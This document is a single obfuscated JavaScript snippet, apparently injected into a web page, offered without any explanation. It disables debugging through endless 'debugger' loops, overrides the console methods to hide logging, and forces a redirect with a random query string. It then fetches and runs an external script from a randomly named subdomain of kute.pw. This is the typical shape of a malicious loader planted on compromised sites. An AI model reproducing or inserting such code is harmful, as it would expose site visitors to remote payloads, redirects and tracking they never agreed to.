<script>var xr=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}();!function(){xr(this,function(){var t=new RegExp("function *\\( *\\)"),n=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),r=cu("init");t.test(r+"chain")&&n.test(r+"input")?cu():r("0")})()}();var gf=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}(),iu=gf(this,function(){try{var n=Function('return (function() {}.constructor("return this")( ));')()}catch(t){n=window}for(var t=n.console=n.console||{},r=["log","warn","info","error","exception","table","trace"],e=0;e<r.length;e++){var o=gf.constructor.prototype.bind(gf),c=r[e],u=t[c]||o;o.__proto__=gf.bind(gf),o.toString=u.toString.bind(u),t[c]=o}});iu();var cybwzxunrgloivduq="!@&58kCDStWZsT9jQo4KI6&!@jNmsf0L7uOJ4SYG@!&";-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=kiQrbXSoCgWUqneFENRjBuxmt#/ld-"+sqohkklmbliybznh);var emfromgetnbrtoo="",fRrlFePaAjwgzJOZTLBMmWKbkuho=document.createElement("script");function cu(t){function n(t){if("string"==typeof t)return function(t){}.constructor("while (true) {}").apply("counter");1!==(""+t/t).length||t%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),n(++t)}try{if(t)return n;n(0)}catch(t){}}fRrlFePaAjwgzJOZTLBMmWKbkuho.type="text/javascript",fRrlFePaAjwgzJOZTLBMmWKbkuho.src="https://mqliwpfsrbjjmoexqycwbdtgcftv.kute.pw/65f864eabcfcb1ebba73f46f-65f864dbbcfcb1ebba73f46e.js",document.getElementsByTagName("head")[0].appendChild(fRrlFePaAjwgzJOZTLBMmWKbkuho),setInterval(function(){cu()},4e3);</script>